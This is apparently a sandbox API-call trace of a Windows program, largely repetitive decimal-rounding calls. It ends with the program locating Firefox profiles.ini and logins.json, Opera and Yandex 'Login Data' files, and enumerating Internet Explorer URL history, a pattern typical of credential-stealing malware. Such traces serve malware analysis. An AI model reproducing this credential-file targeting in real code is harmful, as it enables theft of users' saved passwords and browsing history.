	[0210.009] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.009] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.010] VarDecRound (in: pdecIn=0x5ffcd3c, cDecimals=0, pdecResult=0x5ffcd5c | out: pdecResult=0x5ffcd5c) returned 0x0
	[0210.010] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.010] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.010] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.010] VarDecRound (in: pdecIn=0x5ffcd3c, cDecimals=0, pdecResult=0x5ffcd5c | out: pdecResult=0x5ffcd5c) returned 0x0
	[0210.010] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.010] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.010] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.011] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.011] VarDecRound (in: pdecIn=0x5ffcd3c, cDecimals=0, pdecResult=0x5ffcd5c | out: pdecResult=0x5ffcd5c) returned 0x0
	[0210.011] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.011] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.011] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.011] VarDecRound (in: pdecIn=0x5ffcd3c, cDecimals=0, pdecResult=0x5ffcd5c | out: pdecResult=0x5ffcd5c) returned 0x0
	[0210.011] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.011] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.011] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcd3c, cDecimals=0, pdecResult=0x5ffcd5c | out: pdecResult=0x5ffcd5c) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcd3c, cDecimals=0, pdecResult=0x5ffcd5c | out: pdecResult=0x5ffcd5c) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcd84, cDecimals=0, pdecResult=0x5ffcd6c | out: pdecResult=0x5ffcd6c) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcd3c, cDecimals=0, pdecResult=0x5ffcd5c | out: pdecResult=0x5ffcd5c) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.012] VarDecCmp (pdecLeft=0x5ffcdbc, pdecRight=0x5ffcdac) returned 0x1
	[0210.012] VarDecRound (in: pdecIn=0x5ffcdbc, cDecimals=0, pdecResult=0x5ffcda4 | out: pdecResult=0x5ffcda4) returned 0x0
	[0210.174] VarDecRound (in: pdecIn=0x5ffd824, cDecimals=0, pdecResult=0x5ffd80c | out: pdecResult=0x5ffd80c) returned 0x0
	[0210.174] VarDecRound (in: pdecIn=0x5ffd7ec, cDecimals=0, pdecResult=0x5ffd7d4 | out: pdecResult=0x5ffd7d4) returned 0x0
	[0210.174] VarDecRound (in: pdecIn=0x5ffd7ec, cDecimals=0, pdecResult=0x5ffd7d4 | out: pdecResult=0x5ffd7d4) returned 0x0
	[0210.255] GetCurrentProcessId () returned 0x7f0
	[0210.256] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x7f0) returned 0x2dc
	[0210.256] GetLastError () returned 0x0
	[0210.258] GetExitCodeProcess (in: hProcess=0x2dc, lpExitCode=0x24fe5d8 | out: lpExitCode=0x24fe5d8*=0x103) returned 1
	[0210.258] GetLastError () returned 0x0
	[0210.260] IsWow64Process (in: hProcess=0x2dc, Wow64Process=0x5ffdddc | out: Wow64Process=0x5ffdddc) returned 1
	[0210.261] GetLastError () returned 0x0
	[0210.261] CloseHandle (hObject=0x2dc) returned 1
	[0210.261] GetLastError () returned 0x0
	[0210.280] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x5af788, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0210.280] GetLastError () returned 0x0
	[0210.287] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x5ffdff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", lpFilePart=0x0) returned 0x3e
	[0210.287] GetLastError () returned 0x0
	[0210.287] SetErrorMode (uMode=0x1) returned 0x0
	[0210.287] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2dc
	[0210.289] GetLastError () returned 0x0
	[0210.289] GetFileType (hFile=0x2dc) returned 0x1
	[0210.289] SetErrorMode (uMode=0x0) returned 0x1
	[0210.289] GetFileType (hFile=0x2dc) returned 0x1
	[0210.289] ReadFile (in: hFile=0x2dc, lpBuffer=0x250457c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5ffe558, lpOverlapped=0x0 | out: lpBuffer=0x250457c*, lpNumberOfBytesRead=0x5ffe558*=0x6f, lpOverlapped=0x0) returned 1
	[0210.290] GetLastError () returned 0x0
	[0210.290] ReadFile (in: hFile=0x2dc, lpBuffer=0x250457c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5ffe558, lpOverlapped=0x0 | out: lpBuffer=0x250457c*, lpNumberOfBytesRead=0x5ffe558*=0x0, lpOverlapped=0x0) returned 1
	[0210.290] GetLastError () returned 0x0
	[0210.291] CloseHandle (hObject=0x2dc) returned 1
	[0210.291] GetLastError () returned 0x0
	[0210.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\logins.json", nBufferLength=0x105, lpBuffer=0x5ffe174, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\logins.json", lpFilePart=0x0) returned 0x57
	[0210.296] GetLastError () returned 0x0
	[0210.296] SetErrorMode (uMode=0x1) returned 0x0
	[0210.296] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\logins.json" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default\\logins.json"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5f4 | out: lpFileInformation=0x5ffe5f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0210.298] GetLastError () returned 0x2
	[0210.298] SetErrorMode (uMode=0x0) returned 0x1
	[0210.365] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x0
	[0210.365] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0210.365] GetLastError () returned 0x3f0
	[0210.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe13c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", lpFilePart=0x0) returned 0x48
	[0210.370] GetLastError () returned 0x3f0
	[0210.370] SetErrorMode (uMode=0x1) returned 0x0
	[0210.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\opera software\\opera stable\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5bc | out: lpFileInformation=0x5ffe5bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0210.371] GetLastError () returned 0x3
	[0210.371] SetErrorMode (uMode=0x0) returned 0x1
	[0210.388] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Local") returned 0x0
	[0210.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f
	[0210.389] GetLastError () returned 0x3f0
	[0210.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe13c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x51
	[0210.394] GetLastError () returned 0x3f0
	[0210.394] SetErrorMode (uMode=0x1) returned 0x0
	[0210.394] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\yandex\\yandexbrowser\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5bc | out: lpFileInformation=0x5ffe5bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0210.394] GetLastError () returned 0x3
	[0210.394] SetErrorMode (uMode=0x0) returned 0x1
	[0210.423] SetErrorMode (uMode=0x1) returned 0x0
	[0210.423] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5ffe50c | out: lpFileInformation=0x5ffe50c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0210.423] GetLastError () returned 0x2
	[0210.423] SetErrorMode (uMode=0x0) returned 0x1
	[0210.662] IIDFromString (in: lpsz="{3C374A40-BAE4-11CF-BF7D-00AA006946EE}", lpiid=0x5ffdf04 | out: lpiid=0x5ffdf04) returned 0x0
	[0210.662] CoGetClassObject (in: rclsid=0x5b2094*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5ffde6c | out: ppv=0x5ffde6c*=0x70915498) returned 0x0
	[0210.763] IUnknown:QueryInterface (in: This=0x70915498, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffdc9c | out: ppvObject=0x5ffdc9c*=0x0) returned 0x80004002
	[0210.770] IClassFactory:CreateInstance (in: This=0x70915498, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdcd4 | out: ppvObject=0x5ffdcd4*=0x5b7be0) returned 0x0
	[0210.780] IUnknown:QueryInterface (in: This=0x5b7be0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffda78 | out: ppvObject=0x5ffda78*=0x5b7be0) returned 0x0
	[0210.780] IUnknown:QueryInterface (in: This=0x5b7be0, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ffda34 | out: ppvObject=0x5ffda34*=0x0) returned 0x80004002
	[0210.780] IUnknown:AddRef (This=0x5b7be0) returned 0x4
	[0210.780] CoGetContextToken (in: pToken=0x5ffd8c0 | out: pToken=0x5ffd8c0) returned 0x0
	[0210.780] CoGetContextToken (in: pToken=0x5ffd884 | out: pToken=0x5ffd884) returned 0x0
	[0210.780] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffd8b8 | out: ppvObject=0x5ffd8b8*=0x527e54) returned 0x0
	[0210.780] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffd8e8 | out: pAptType=0x5ffd8e8*=0) returned 0x0
	[0210.781] IUnknown:Release (This=0x527e54) returned 0x0
	[0210.781] CoGetObjectContext (in: riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5965fc | out: ppv=0x5965fc*=0x527e48) returned 0x0
	[0210.782] IUnknown:QueryInterface (in: This=0x5b7be0, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffd8a8 | out: ppvObject=0x5ffd8a8*=0x0) returned 0x80004002
	[0210.782] CoGetContextToken (in: pToken=0x5ffd8b8 | out: pToken=0x5ffd8b8) returned 0x0
	[0210.782] IUnknown:AddRef (This=0x5b7be0) returned 0x5
	[0210.782] IUnknown:QueryInterface (in: This=0x5b7be0, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffd92c | out: ppvObject=0x5ffd92c*=0x0) returned 0x80004002
	[0210.782] IUnknown:Release (This=0x5b7be0) returned 0x4
	[0210.782] IUnknown:Release (This=0x5b7be0) returned 0x3
	[0210.782] IUnknown:Release (This=0x70915498) returned 0x1
	[0210.782] IUnknown:Release (This=0x5b7be0) returned 0x2
	[0210.783] CoGetContextToken (in: pToken=0x5ffddc4 | out: pToken=0x5ffddc4) returned 0x0
	[0210.783] IIDFromString (in: lpsz="{AFA0DC11-C313-11D0-831A-00C04FD5AE38}", lpiid=0x5ffde00 | out: lpiid=0x5ffde00) returned 0x0
	[0210.783] CoGetContextToken (in: pToken=0x5ffdd84 | out: pToken=0x5ffdd84) returned 0x0
	[0210.783] IUnknown:AddRef (This=0x5b7be0) returned 0x3
	[0210.783] IUnknown:QueryInterface (in: This=0x5b7be0, riid=0x5ffde00*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x5ffddfc | out: ppvObject=0x5ffddfc*=0x5b7be0) returned 0x0
	[0210.783] IUnknown:Release (This=0x5b7be0) returned 0x3
	[0210.783] IUnknown:Release (This=0x5b7be0) returned 0x2
	[0210.786] CoGetContextToken (in: pToken=0x5ffdd9c | out: pToken=0x5ffdd9c) returned 0x0
	[0210.786] CoGetContextToken (in: pToken=0x5ffdd5c | out: pToken=0x5ffdd5c) returned 0x0
	[0210.786] IUnknown:AddRef (This=0x5b7be0) returned 0x3
	[0210.786] IUnknown:QueryInterface (in: This=0x5b7be0, riid=0x5ffddd8*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x5ffddd4 | out: ppvObject=0x5ffddd4*=0x5b7be0) returned 0x0
	[0210.786] IUnknown:Release (This=0x5b7be0) returned 0x3
	[0210.786] IUnknown:AddRef (This=0x5b7be0) returned 0x4
	[0210.787] IUrlHistoryStg:EnumUrls (in: This=0x5b7be0, ppenum=0x5ffdf00 | out: ppenum=0x5ffdf00*=0x5d2710) returned 0x0
	[0210.791] CoGetContextToken (in: pToken=0x5ffd648 | out: pToken=0x5ffd648) returned 0x0
	[0210.791] CoGetContextToken (in: pToken=0x5ffd60c | out: pToken=0x5ffd60c) returned 0x0
	[0210.791] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffd640 | out: ppvObject=0x5ffd640*=0x527e54) returned 0x0
	[0210.791] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffd670 | out: pAptType=0x5ffd670*=0) returned 0x0
	[0210.791] IUnknown:Release (This=0x527e54) returned 0x1
	[0210.792] CoGetContextToken (in: pToken=0x5ffd640 | out: pToken=0x5ffd640) returned 0x0
	[0210.792] IUnknown:Release (This=0x5b7be0) returned 0x4
	[0210.792] CoGetContextToken (in: pToken=0x5ffddc4 | out: pToken=0x5ffddc4) returned 0x0
	[0210.792] IIDFromString (in: lpsz="{3C374A42-BAE4-11CF-BF7D-00AA006946EE}", lpiid=0x5ffde00 | out: lpiid=0x5ffde00) returned 0x0
	[0210.793] CoGetContextToken (in: pToken=0x5ffdd84 | out: pToken=0x5ffdd84) returned 0x0
	[0210.807] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.807] CoGetContextToken (in: pToken=0x5ffdd3c | out: pToken=0x5ffdd3c) returned 0x0
	[0210.916] CoTaskMemFree (pv=0x59d200) 
	[0210.933] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.933] CoTaskMemFree (pv=0x56f5f8) 
	[0210.934] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.934] CoTaskMemFree (pv=0x59d380) 
	[0210.934] CoGetContextToken (in: pToken=0x5ffdd7c | out: pToken=0x5ffdd7c) returned 0x0
	[0210.935] CoTaskMemFree (pv=0x56f7c0) 
